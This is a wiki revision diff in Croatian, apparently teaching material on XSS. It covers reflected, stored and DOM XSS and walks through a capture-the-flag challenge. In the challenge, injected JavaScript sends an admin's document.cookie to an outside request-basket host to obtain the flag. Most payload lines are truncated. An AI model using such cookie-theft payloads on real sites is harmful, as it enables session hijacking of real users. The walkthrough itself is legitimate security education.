xss_napadi
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| xss_napadi [2023/11/23 09:05] – zrinka | xss_napadi [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 2: | Line 2: | ||
| **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ | **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ | ||
| - | Funkcionira | + | Funkcionira |
| JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | ||
| nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | ||
| Line 23: | Line 23: | ||
| Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | ||
| - | //Stored XSS (Persistent, | + | //Stored XSS (Persistent, |
| nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | ||
| korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | ||
| - | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica | + | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica |
| | | ||
| izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | ||
| taj članak. | taj članak. | ||
| - | Zadnji je // | + | Zadnji je // |
| | | ||
| < | < | ||
| Line 53: | Line 53: | ||
| <div> $varUnsafe </ | <div> $varUnsafe </ | ||
| </ | </ | ||
| - | jer napadač može unijeti | + | jer napadač može unijeti |
| < | < | ||
| < | < | ||
| Line 84: | Line 84: | ||
| kako bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da | kako bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da | ||
| nije time napravio nikakav propust. | nije time napravio nikakav propust. | ||
| - | Ukoliko | + | Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš |
| moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. | moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. | ||
| Line 95: | Line 95: | ||
| U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\ | U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\ | ||
| - | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što ju napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ | + | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ |
| - | Iskoristit ćemo web stranicu na adresi http:// | + | Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu i pošaljimo zahtjev. |
| + | < | ||
| + | Vidimo da se naredba izvršila, dakle ranjivost postoji. \\ | ||
| + | Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti | ||
| {{ : | {{ : | ||
| - | Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu neku jednostavnu naredbu i pošaljimo zahtjev. | + | Upišimo sad u tražilicu: |
| - | < | + | |
| - | Vidimo da se naredba izvršila, dakle ranjivost postoji. | + | |
| < | < | ||
| kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti. | kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti. | ||
| Line 108: | Line 109: | ||
| {{ : | {{ : | ||
| - | Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. | + | Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. |
| < | < | ||
| http:// | http:// | ||
| Line 115: | Line 116: | ||
| {{ : | {{ : | ||
| - | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. | + | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. |
| - | %3C < \\ | + | ^ Kod ^ Značenje znaka ^ |
| - | %3E > \\ | + | |%3C |< | |
| - | %3D = \\ | + | |%3E |> | |
| - | %22 " | + | |%3D |= | |
| - | %3A : \\ | + | |%22 |" |
| - | %3F ? \\ | + | |%3A |: | |
| - | %2F / \\ | + | |%3F |? | |
| - | %3B ; \\ | + | |%2F |/ | |
| + | |%3B |; | | ||
| Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: | Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: | ||
| Line 130: | Line 132: | ||
| Flag je URL-encoded, | Flag je URL-encoded, | ||
| - | %5B [ \\ | + | ^ Kod ^ Značenje znaka ^ |
| - | %5D ] \\ | + | |%5B |[ | |
| + | |%5D |] | | ||
| - | Izvori | + | ===Izvori=== |
| [1]https:// | [1]https:// | ||
| [2]https:// | [2]https:// | ||
xss_napadi.1700730323.txt.gz · Last modified: 2025/12/01 11:40 (external edit)